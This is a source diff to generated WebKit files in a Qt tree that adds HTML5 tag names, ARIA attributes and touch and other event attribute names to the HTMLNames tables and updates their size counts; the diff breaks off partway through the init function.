--- a/src/3rdparty/webkit/WebCore/generated/HTMLEntityNames.c
+++ b/src/3rdparty/webkit/WebCore/generated/HTMLEntityNames.c
@@ -1,4 +1,4 @@
-/* ANSI-C code produced by gperf version 3.0.3 */
+/* ANSI-C code produced by gperf version 3.0.1 */
 /* Command-line: gperf -a -L ANSI-C -C -G -c -o -t --includes --key-positions='*' -N findEntity -D -s 2  */
 
 #if !((' ' == 32) && ('!' == 33) && ('"' == 34) && ('#' == 35) \
@@ -521,9 +521,6 @@ static const short lookup[] =
 
 #ifdef __GNUC__
 __inline
-#ifdef __GNUC_STDC_INLINE__
-__attribute__ ((__gnu_inline__))
-#endif
 #endif
 const struct Entity *
 findEntity (register const char *str, register unsigned int len)
diff --git a/src/3rdparty/webkit/WebCore/generated/HTMLNames.cpp b/src/3rdparty/webkit/WebCore/generated/HTMLNames.cpp
index 06d1f1f..a1c2d5d 100644
--- a/src/3rdparty/webkit/WebCore/generated/HTMLNames.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/HTMLNames.cpp
@@ -51,6 +51,8 @@ DEFINE_GLOBAL(QualifiedName, acronymTag, nullAtom, "acronym", xhtmlNamespaceURI)
 DEFINE_GLOBAL(QualifiedName, addressTag, nullAtom, "address", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, appletTag, nullAtom, "applet", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, areaTag, nullAtom, "area", xhtmlNamespaceURI);
+DEFINE_GLOBAL(QualifiedName, articleTag, nullAtom, "article", xhtmlNamespaceURI);
+DEFINE_GLOBAL(QualifiedName, asideTag, nullAtom, "aside", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, audioTag, nullAtom, "audio", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, bTag, nullAtom, "b", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, baseTag, nullAtom, "base", xhtmlNamespaceURI);
@@ -84,6 +86,7 @@ DEFINE_GLOBAL(QualifiedName, emTag, nullAtom, "em", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, embedTag, nullAtom, "embed", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, fieldsetTag, nullAtom, "fieldset", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, fontTag, nullAtom, "font", xhtmlNamespaceURI);
+DEFINE_GLOBAL(QualifiedName, footerTag, nullAtom, "footer", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, formTag, nullAtom, "form", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, frameTag, nullAtom, "frame", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, framesetTag, nullAtom, "frameset", xhtmlNamespaceURI);
@@ -94,6 +97,8 @@ DEFINE_GLOBAL(QualifiedName, h4Tag, nullAtom, "h4", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, h5Tag, nullAtom, "h5", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, h6Tag, nullAtom, "h6", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, headTag, nullAtom, "head", xhtmlNamespaceURI);
+DEFINE_GLOBAL(QualifiedName, headerTag, nullAtom, "header", xhtmlNamespaceURI);
+DEFINE_GLOBAL(QualifiedName, hgroupTag, nullAtom, "hgroup", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, hrTag, nullAtom, "hr", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, htmlTag, nullAtom, "html", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, iTag, nullAtom, "i", xhtmlNamespaceURI);
@@ -129,6 +134,7 @@ DEFINE_GLOBAL(QualifiedName, pTag, nullAtom, "p", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, paramTag, nullAtom, "param", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, plaintextTag, nullAtom, "plaintext", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, preTag, nullAtom, "pre", xhtmlNamespaceURI);
+DEFINE_GLOBAL(QualifiedName, progressTag, nullAtom, "progress", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, qTag, nullAtom, "q", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, rpTag, nullAtom, "rp", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, rtTag, nullAtom, "rt", xhtmlNamespaceURI);
@@ -136,6 +142,7 @@ DEFINE_GLOBAL(QualifiedName, rubyTag, nullAtom, "ruby", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, sTag, nullAtom, "s", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, sampTag, nullAtom, "samp", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, scriptTag, nullAtom, "script", xhtmlNamespaceURI);
+DEFINE_GLOBAL(QualifiedName, sectionTag, nullAtom, "section", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, selectTag, nullAtom, "select", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, smallTag, nullAtom, "small", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, sourceTag, nullAtom, "source", xhtmlNamespaceURI);
@@ -172,6 +179,8 @@ WebCore::QualifiedName** getHTMLTags(size_t* size)
         (WebCore::QualifiedName*)&addressTag,
         (WebCore::QualifiedName*)&appletTag,
         (WebCore::QualifiedName*)&areaTag,
+        (WebCore::QualifiedName*)&articleTag,
+        (WebCore::QualifiedName*)&asideTag,
         (WebCore::QualifiedName*)&audioTag,
         (WebCore::QualifiedName*)&bTag,
         (WebCore::QualifiedName*)&baseTag,
@@ -205,6 +214,7 @@ WebCore::QualifiedName** getHTMLTags(size_t* size)
         (WebCore::QualifiedName*)&embedTag,
         (WebCore::QualifiedName*)&fieldsetTag,
         (WebCore::QualifiedName*)&fontTag,
+        (WebCore::QualifiedName*)&footerTag,
         (WebCore::QualifiedName*)&formTag,
         (WebCore::QualifiedName*)&frameTag,
         (WebCore::QualifiedName*)&framesetTag,
@@ -215,6 +225,8 @@ WebCore::QualifiedName** getHTMLTags(size_t* size)
         (WebCore::QualifiedName*)&h5Tag,
         (WebCore::QualifiedName*)&h6Tag,
         (WebCore::QualifiedName*)&headTag,
+        (WebCore::QualifiedName*)&headerTag,
+        (WebCore::QualifiedName*)&hgroupTag,
         (WebCore::QualifiedName*)&hrTag,
         (WebCore::QualifiedName*)&htmlTag,
         (WebCore::QualifiedName*)&iTag,
@@ -250,6 +262,7 @@ WebCore::QualifiedName** getHTMLTags(size_t* size)
         (WebCore::QualifiedName*)&paramTag,
         (WebCore::QualifiedName*)&plaintextTag,
         (WebCore::QualifiedName*)&preTag,
+        (WebCore::QualifiedName*)&progressTag,
         (WebCore::QualifiedName*)&qTag,
         (WebCore::QualifiedName*)&rpTag,
         (WebCore::QualifiedName*)&rtTag,
@@ -257,6 +270,7 @@ WebCore::QualifiedName** getHTMLTags(size_t* size)
         (WebCore::QualifiedName*)&sTag,
         (WebCore::QualifiedName*)&sampTag,
         (WebCore::QualifiedName*)&scriptTag,
+        (WebCore::QualifiedName*)&sectionTag,
         (WebCore::QualifiedName*)&selectTag,
         (WebCore::QualifiedName*)&smallTag,
         (WebCore::QualifiedName*)&sourceTag,
@@ -283,7 +297,7 @@ WebCore::QualifiedName** getHTMLTags(size_t* size)
         (WebCore::QualifiedName*)&wbrTag,
         (WebCore::QualifiedName*)&xmpTag,
     };
-    *size = 116;
+    *size = 123;
     return HTMLTags;
 }
 
@@ -298,22 +312,35 @@ DEFINE_GLOBAL(QualifiedName, alinkAttr, nullAtom, "alink", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, altAttr, nullAtom, "alt", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, archiveAttr, nullAtom, "archive", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, aria_activedescendantAttr, nullAtom, "aria_activedescendant", xhtmlNamespaceURI);
+DEFINE_GLOBAL(QualifiedName, aria_atomicAttr, nullAtom, "aria_atomic", xhtmlNamespaceURI);
+DEFINE_GLOBAL(QualifiedName, aria_busyAttr, nullAtom, "aria_busy", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, aria_checkedAttr, nullAtom, "aria_checked", xhtmlNamespaceURI);
+DEFINE_GLOBAL(QualifiedName, aria_controlsAttr, nullAtom, "aria_controls", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, aria_describedbyAttr, nullAtom, "aria_describedby", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, aria_disabledAttr, nullAtom, "aria_disabled", xhtmlNamespaceURI);
+DEFINE_GLOBAL(QualifiedName, aria_dropeffectAttr, nullAtom, "aria_dropeffect", xhtmlNamespaceURI);
+DEFINE_GLOBAL(QualifiedName, aria_expandedAttr, nullAtom, "aria_expanded", xhtmlNamespaceURI);
+DEFINE_GLOBAL(QualifiedName, aria_flowtoAttr, nullAtom, "aria_flowto", xhtmlNamespaceURI);
+DEFINE_GLOBAL(QualifiedName, aria_grabbedAttr, nullAtom, "aria_grabbed", xhtmlNamespaceURI);
+DEFINE_GLOBAL(QualifiedName, aria_haspopupAttr, nullAtom, "aria_haspopup", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, aria_hiddenAttr, nullAtom, "aria_hidden", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, aria_labelAttr, nullAtom, "aria_label", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, aria_labeledbyAttr, nullAtom, "aria_labeledby", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, aria_labelledbyAttr, nullAtom, "aria_labelledby", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, aria_levelAttr, nullAtom, "aria_level", xhtmlNamespaceURI);
+DEFINE_GLOBAL(QualifiedName, aria_liveAttr, nullAtom, "aria_live", xhtmlNamespaceURI);
+DEFINE_GLOBAL(QualifiedName, aria_multiselectableAttr, nullAtom, "aria_multiselectable", xhtmlNamespaceURI);
+DEFINE_GLOBAL(QualifiedName, aria_orientationAttr, nullAtom, "aria_orientation", xhtmlNamespaceURI);
+DEFINE_GLOBAL(QualifiedName, aria_ownsAttr, nullAtom, "aria_owns", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, aria_pressedAttr, nullAtom, "aria_pressed", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, aria_readonlyAttr, nullAtom, "aria_readonly", xhtmlNamespaceURI);
+DEFINE_GLOBAL(QualifiedName, aria_relevantAttr, nullAtom, "aria_relevant", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, aria_requiredAttr, nullAtom, "aria_required", xhtmlNamespaceURI);
+DEFINE_GLOBAL(QualifiedName, aria_selectedAttr, nullAtom, "aria_selected", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, aria_valuemaxAttr, nullAtom, "aria_valuemax", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, aria_valueminAttr, nullAtom, "aria_valuemin", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, aria_valuenowAttr, nullAtom, "aria_valuenow", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, aria_valuetextAttr, nullAtom, "aria_valuetext", xhtmlNamespaceURI);
-DEFINE_GLOBAL(QualifiedName, autobufferAttr, nullAtom, "autobuffer", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, autocompleteAttr, nullAtom, "autocomplete", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, autofocusAttr, nullAtom, "autofocus", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, autoplayAttr, nullAtom, "autoplay", xhtmlNamespaceURI);
@@ -359,6 +386,7 @@ DEFINE_GLOBAL(QualifiedName, disabledAttr, nullAtom, "disabled", xhtmlNamespaceU
 DEFINE_GLOBAL(QualifiedName, draggableAttr, nullAtom, "draggable", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, enctypeAttr, nullAtom, "enctype", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, endAttr, nullAtom, "end", xhtmlNamespaceURI);
+DEFINE_GLOBAL(QualifiedName, eventAttr, nullAtom, "event", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, expandedAttr, nullAtom, "expanded", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, faceAttr, nullAtom, "face", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, focusedAttr, nullAtom, "focused", xhtmlNamespaceURI);
@@ -433,6 +461,8 @@ DEFINE_GLOBAL(QualifiedName, onemptiedAttr, nullAtom, "onemptied", xhtmlNamespac
 DEFINE_GLOBAL(QualifiedName, onendedAttr, nullAtom, "onended", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, onerrorAttr, nullAtom, "onerror", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, onfocusAttr, nullAtom, "onfocus", xhtmlNamespaceURI);
+DEFINE_GLOBAL(QualifiedName, onfocusinAttr, nullAtom, "onfocusin", xhtmlNamespaceURI);
+DEFINE_GLOBAL(QualifiedName, onfocusoutAttr, nullAtom, "onfocusout", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, onhashchangeAttr, nullAtom, "onhashchange", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, oninputAttr, nullAtom, "oninput", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, oninvalidAttr, nullAtom, "oninvalid", xhtmlNamespaceURI);
@@ -458,6 +488,7 @@ DEFINE_GLOBAL(QualifiedName, onpasteAttr, nullAtom, "onpaste", xhtmlNamespaceURI
 DEFINE_GLOBAL(QualifiedName, onpauseAttr, nullAtom, "onpause", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, onplayAttr, nullAtom, "onplay", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, onplayingAttr, nullAtom, "onplaying", xhtmlNamespaceURI);
+DEFINE_GLOBAL(QualifiedName, onpopstateAttr, nullAtom, "onpopstate", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, onprogressAttr, nullAtom, "onprogress", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, onratechangeAttr, nullAtom, "onratechange", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, onresetAttr, nullAtom, "onreset", xhtmlNamespaceURI);
@@ -473,12 +504,18 @@ DEFINE_GLOBAL(QualifiedName, onstorageAttr, nullAtom, "onstorage", xhtmlNamespac
 DEFINE_GLOBAL(QualifiedName, onsubmitAttr, nullAtom, "onsubmit", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, onsuspendAttr, nullAtom, "onsuspend", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, ontimeupdateAttr, nullAtom, "ontimeupdate", xhtmlNamespaceURI);
+DEFINE_GLOBAL(QualifiedName, ontouchcancelAttr, nullAtom, "ontouchcancel", xhtmlNamespaceURI);
+DEFINE_GLOBAL(QualifiedName, ontouchendAttr, nullAtom, "ontouchend", xhtmlNamespaceURI);
+DEFINE_GLOBAL(QualifiedName, ontouchmoveAttr, nullAtom, "ontouchmove", xhtmlNamespaceURI);
+DEFINE_GLOBAL(QualifiedName, ontouchstartAttr, nullAtom, "ontouchstart", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, onunloadAttr, nullAtom, "onunload", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, onvolumechangeAttr, nullAtom, "onvolumechange", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, onwaitingAttr, nullAtom, "onwaiting", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, onwebkitanimationendAttr, nullAtom, "onwebkitanimationend", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, onwebkitanimationiterationAttr, nullAtom, "onwebkitanimationiteration", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, onwebkitanimationstartAttr, nullAtom, "onwebkitanimationstart", xhtmlNamespaceURI);
+DEFINE_GLOBAL(QualifiedName, onwebkitbeginfullscreenAttr, nullAtom, "onwebkitbeginfullscreen", xhtmlNamespaceURI);
+DEFINE_GLOBAL(QualifiedName, onwebkitendfullscreenAttr, nullAtom, "onwebkitendfullscreen", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, onwebkittransitionendAttr, nullAtom, "onwebkittransitionend", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, patternAttr, nullAtom, "pattern", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, placeholderAttr, nullAtom, "placeholder", xhtmlNamespaceURI);
@@ -486,6 +523,7 @@ DEFINE_GLOBAL(QualifiedName, playcountAttr, nullAtom, "playcount", xhtmlNamespac
 DEFINE_GLOBAL(QualifiedName, pluginurlAttr, nullAtom, "pluginurl", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, posterAttr, nullAtom, "poster", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, precisionAttr, nullAtom, "precision", xhtmlNamespaceURI);
+DEFINE_GLOBAL(QualifiedName, preloadAttr, nullAtom, "preload", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, primaryAttr, nullAtom, "primary", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, profileAttr, nullAtom, "profile", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, progressAttr, nullAtom, "progress", xhtmlNamespaceURI);
@@ -499,6 +537,7 @@ DEFINE_GLOBAL(QualifiedName, roleAttr, nullAtom, "role", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, rowsAttr, nullAtom, "rows", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, rowspanAttr, nullAtom, "rowspan", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, rulesAttr, nullAtom, "rules", xhtmlNamespaceURI);
+DEFINE_GLOBAL(QualifiedName, sandboxAttr, nullAtom, "sandbox", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, schemeAttr, nullAtom, "scheme", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, scopeAttr, nullAtom, "scope", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, scrollamountAttr, nullAtom, "scrollamount", xhtmlNamespaceURI);
@@ -514,6 +553,7 @@ DEFINE_GLOBAL(QualifiedName, spellcheckAttr, nullAtom, "spellcheck", xhtmlNamesp
 DEFINE_GLOBAL(QualifiedName, srcAttr, nullAtom, "src", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, standbyAttr, nullAtom, "standby", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, startAttr, nullAtom, "start", xhtmlNamespaceURI);
+DEFINE_GLOBAL(QualifiedName, stepAttr, nullAtom, "step", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, styleAttr, nullAtom, "style", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, summaryAttr, nullAtom, "summary", xhtmlNamespaceURI);
 DEFINE_GLOBAL(QualifiedName, tabindexAttr, nullAtom, "tabindex", xhtmlNamespaceURI);
@@ -550,22 +590,35 @@ WebCore::QualifiedName** getHTMLAttrs(size_t* size)
         (WebCore::QualifiedName*)&altAttr,
         (WebCore::QualifiedName*)&archiveAttr,
         (WebCore::QualifiedName*)&aria_activedescendantAttr,
+        (WebCore::QualifiedName*)&aria_atomicAttr,
+        (WebCore::QualifiedName*)&aria_busyAttr,
         (WebCore::QualifiedName*)&aria_checkedAttr,
+        (WebCore::QualifiedName*)&aria_controlsAttr,
         (WebCore::QualifiedName*)&aria_describedbyAttr,
         (WebCore::QualifiedName*)&aria_disabledAttr,
+        (WebCore::QualifiedName*)&aria_dropeffectAttr,
+        (WebCore::QualifiedName*)&aria_expandedAttr,
+        (WebCore::QualifiedName*)&aria_flowtoAttr,
+        (WebCore::QualifiedName*)&aria_grabbedAttr,
+        (WebCore::QualifiedName*)&aria_haspopupAttr,
         (WebCore::QualifiedName*)&aria_hiddenAttr,
         (WebCore::QualifiedName*)&aria_labelAttr,
         (WebCore::QualifiedName*)&aria_labeledbyAttr,
         (WebCore::QualifiedName*)&aria_labelledbyAttr,
         (WebCore::QualifiedName*)&aria_levelAttr,
+        (WebCore::QualifiedName*)&aria_liveAttr,
+        (WebCore::QualifiedName*)&aria_multiselectableAttr,
+        (WebCore::QualifiedName*)&aria_orientationAttr,
+        (WebCore::QualifiedName*)&aria_ownsAttr,
         (WebCore::QualifiedName*)&aria_pressedAttr,
         (WebCore::QualifiedName*)&aria_readonlyAttr,
+        (WebCore::QualifiedName*)&aria_relevantAttr,
         (WebCore::QualifiedName*)&aria_requiredAttr,
+        (WebCore::QualifiedName*)&aria_selectedAttr,
         (WebCore::QualifiedName*)&aria_valuemaxAttr,
         (WebCore::QualifiedName*)&aria_valueminAttr,
         (WebCore::QualifiedName*)&aria_valuenowAttr,
         (WebCore::QualifiedName*)&aria_valuetextAttr,
-        (WebCore::QualifiedName*)&autobufferAttr,
         (WebCore::QualifiedName*)&autocompleteAttr,
         (WebCore::QualifiedName*)&autofocusAttr,
         (WebCore::QualifiedName*)&autoplayAttr,
@@ -611,6 +664,7 @@ WebCore::QualifiedName** getHTMLAttrs(size_t* size)
         (WebCore::QualifiedName*)&draggableAttr,
         (WebCore::QualifiedName*)&enctypeAttr,
         (WebCore::QualifiedName*)&endAttr,
+        (WebCore::QualifiedName*)&eventAttr,
         (WebCore::QualifiedName*)&expandedAttr,
         (WebCore::QualifiedName*)&faceAttr,
         (WebCore::QualifiedName*)&focusedAttr,
@@ -685,6 +739,8 @@ WebCore::QualifiedName** getHTMLAttrs(size_t* size)
         (WebCore::QualifiedName*)&onendedAttr,
         (WebCore::QualifiedName*)&onerrorAttr,
         (WebCore::QualifiedName*)&onfocusAttr,
+        (WebCore::QualifiedName*)&onfocusinAttr,
+        (WebCore::QualifiedName*)&onfocusoutAttr,
         (WebCore::QualifiedName*)&onhashchangeAttr,
         (WebCore::QualifiedName*)&oninputAttr,
         (WebCore::QualifiedName*)&oninvalidAttr,
@@ -710,6 +766,7 @@ WebCore::QualifiedName** getHTMLAttrs(size_t* size)
         (WebCore::QualifiedName*)&onpauseAttr,
         (WebCore::QualifiedName*)&onplayAttr,
         (WebCore::QualifiedName*)&onplayingAttr,
+        (WebCore::QualifiedName*)&onpopstateAttr,
         (WebCore::QualifiedName*)&onprogressAttr,
         (WebCore::QualifiedName*)&onratechangeAttr,
         (WebCore::QualifiedName*)&onresetAttr,
@@ -725,12 +782,18 @@ WebCore::QualifiedName** getHTMLAttrs(size_t* size)
         (WebCore::QualifiedName*)&onsubmitAttr,
         (WebCore::QualifiedName*)&onsuspendAttr,
         (WebCore::QualifiedName*)&ontimeupdateAttr,
+        (WebCore::QualifiedName*)&ontouchcancelAttr,
+        (WebCore::QualifiedName*)&ontouchendAttr,
+        (WebCore::QualifiedName*)&ontouchmoveAttr,
+        (WebCore::QualifiedName*)&ontouchstartAttr,
         (WebCore::QualifiedName*)&onunloadAttr,
         (WebCore::QualifiedName*)&onvolumechangeAttr,
         (WebCore::QualifiedName*)&onwaitingAttr,
         (WebCore::QualifiedName*)&onwebkitanimationendAttr,
         (WebCore::QualifiedName*)&onwebkitanimationiterationAttr,
         (WebCore::QualifiedName*)&onwebkitanimationstartAttr,
+        (WebCore::QualifiedName*)&onwebkitbeginfullscreenAttr,
+        (WebCore::QualifiedName*)&onwebkitendfullscreenAttr,
         (WebCore::QualifiedName*)&onwebkittransitionendAttr,
         (WebCore::QualifiedName*)&patternAttr,
         (WebCore::QualifiedName*)&placeholderAttr,
@@ -738,6 +801,7 @@ WebCore::QualifiedName** getHTMLAttrs(size_t* size)
         (WebCore::QualifiedName*)&pluginurlAttr,
         (WebCore::QualifiedName*)&posterAttr,
         (WebCore::QualifiedName*)&precisionAttr,
+        (WebCore::QualifiedName*)&preloadAttr,
         (WebCore::QualifiedName*)&primaryAttr,
         (WebCore::QualifiedName*)&profileAttr,
         (WebCore::QualifiedName*)&progressAttr,
@@ -751,6 +815,7 @@ WebCore::QualifiedName** getHTMLAttrs(size_t* size)
         (WebCore::QualifiedName*)&rowsAttr,
         (WebCore::QualifiedName*)&rowspanAttr,
         (WebCore::QualifiedName*)&rulesAttr,
+        (WebCore::QualifiedName*)&sandboxAttr,
         (WebCore::QualifiedName*)&schemeAttr,
         (WebCore::QualifiedName*)&scopeAttr,
         (WebCore::QualifiedName*)&scrollamountAttr,
@@ -766,6 +831,7 @@ WebCore::QualifiedName** getHTMLAttrs(size_t* size)
         (WebCore::QualifiedName*)&srcAttr,
         (WebCore::QualifiedName*)&standbyAttr,
         (WebCore::QualifiedName*)&startAttr,
+        (WebCore::QualifiedName*)&stepAttr,
         (WebCore::QualifiedName*)&styleAttr,
         (WebCore::QualifiedName*)&summaryAttr,
         (WebCore::QualifiedName*)&tabindexAttr,
@@ -788,15 +854,10 @@ WebCore::QualifiedName** getHTMLAttrs(size_t* size)
         (WebCore::QualifiedName*)&widthAttr,
         (WebCore::QualifiedName*)&wrapAttr,
     };
-    *size = 247;
+    *size = 273;
     return HTMLAttr;
 }
 
-// Tags as strings
-
-// Attributes as strings
-char classAttrString[] = "class";
-
 void init()
 {
     static bool initialized = false;
@@ -813,732 +874,403 @@ void init()
     new ((void*)&xhtmlNamespaceURI) AtomicString(xhtmlNS);
 
     // Tags
-    const char *aTagString = "a";
-    const char *abbrTagString = "abbr";
-    const char *acronymTagString = "acronym";
-    const char *addressTagString = "address";
-    const char *appletTagString = "applet";
-    const char *areaTagString = "area";
-    const char *audioTagString = "audio";
-    const char *bTagString = "b";
-    const char *baseTagString = "base";
-    const char *basefontTagString = "basefont";
-    const char *bdoTagString = "bdo";
-    const char *bigTagString = "big";
-    const char *blockquoteTagString = "blockquote";
-    const char *bodyTagString = "body";
-    const char *brTagString = "br";
-    const char *buttonTagString = "button";
-    const char *canvasTagString = "canvas";
-    const char *captionTagString = "caption";
-    const char *centerTagString = "center";
-    const char *citeTagString = "cite";
-    const char *codeTagString = "code";
-    const char *colTagString = "col";
-    const char *colgroupTagString = "colgroup";
-    const char *datagridTagString = "datagrid";
-    const char *datalistTagString = "datalist";
-    const char *dcellTagString = "dcell";
-    const char *dcolTagString = "dcol";
-    const char *ddTagString = "dd";
-    const char *delTagString = "del";
-    const char *dfnTagString = "dfn";
-    const char *dirTagString = "dir";
-    const char *divTagString = "div";
-    const char *dlTagString = "dl";
-    const char *drowTagString = "drow";
-    const char *dtTagString = "dt";
-    const char *emTagString = "em";
-    const char *embedTagString = "embed";
-    const char *fieldsetTagString = "fieldset";
-    const char *fontTagString = "font";
-    const char *formTagString = "form";
-    const char *frameTagString = "frame";
-    const char *framesetTagString = "frameset";
-    const char *h1TagString = "h1";
-    const char *h2TagString = "h2";
-    const char *h3TagString = "h3";
-    const char *h4TagString = "h4";
-    const char *h5TagString = "h5";
-    const char *h6TagString = "h6";
-    const char *headTagString = "head";
-    const char *hrTagString = "hr";
-    const char *htmlTagString = "html";
-    const char *iTagString = "i";
-    const char *iframeTagString = "iframe";
-    const char *imageTagString = "image";
-    const char *imgTagString = "img";
-    const char *inputTagString = "input";
-    const char *insTagString = "ins";
-    const char *isindexTagString = "isindex";
-    const char *kbdTagString = "kbd";
-    const char *keygenTagString = "keygen";
-    const char *labelTagString = "label";
-    const char *layerTagString = "layer";
-    const char *legendTagString = "legend";
-    const char *liTagString = "li";
-    const char *linkTagString = "link";
-    const char *listingTagString = "listing";
-    const char *mapTagString = "map";
-    const char *marqueeTagString = "marquee";
-    const char *menuTagString = "menu";
-    const char *metaTagString = "meta";
-    const char *navTagString = "nav";
-    const char *nobrTagString = "nobr";
-    const char *noembedTagString = "noembed";
-    const char *noframesTagString = "noframes";
-    const char *nolayerTagString = "nolayer";
-    const char *noscriptTagString = "noscript";
-    const char *objectTagString = "object";
-    const char *olTagString = "ol";
-    const char *optgroupTagString = "optgroup";
-    const char *optionTagString = "option";
-    const char *pTagString = "p";
-    const char *paramTagString = "param";
-    const char *plaintextTagString = "plaintext";
-    const char *preTagString = "pre";
-    const char *qTagString = "q";
-    const char *rpTagString = "rp";
-    const char *rtTagString = "rt";
-    const char *rubyTagString = "ruby";
-    const char *sTagString = "s";
-    const char *sampTagString = "samp";
-    const char *scriptTagString = "script";
-    const char *selectTagString = "select";
-    const char *smallTagString = "small";
-    const char *sourceTagString = "source";
-    const char *spanTagString = "span";
-    const char *strikeTagString = "strike";
-    const char *strongTagString = "strong";
-    const char *styleTagString = "style";
-    const char *subTagString = "sub";
-    const char *supTagString = "sup";
-    const char *tableTagString = "table";
-    const char *tbodyTagString = "tbody";
-    const char *tdTagString = "td";
-    const char *textareaTagString = "textarea";
-    const char *tfootTagString = "tfoot";
-    const char *thTagString = "th";
-    const char *theadTagString = "thead";
-    const char *titleTagString = "title";
-    const char *trTagString = "tr";
-    const char *ttTagString = "tt";
-    const char *uTagString = "u";
-    const char *ulTagString = "ul";
-    const char *varTagString = "var";
-    const char *videoTagString = "video";
-    const char *wbrTagString = "wbr";
-    const char *xmpTagString = "xmp";
-    new ((void*)&aTag) QualifiedName(nullAtom, aTagString, xhtmlNS);
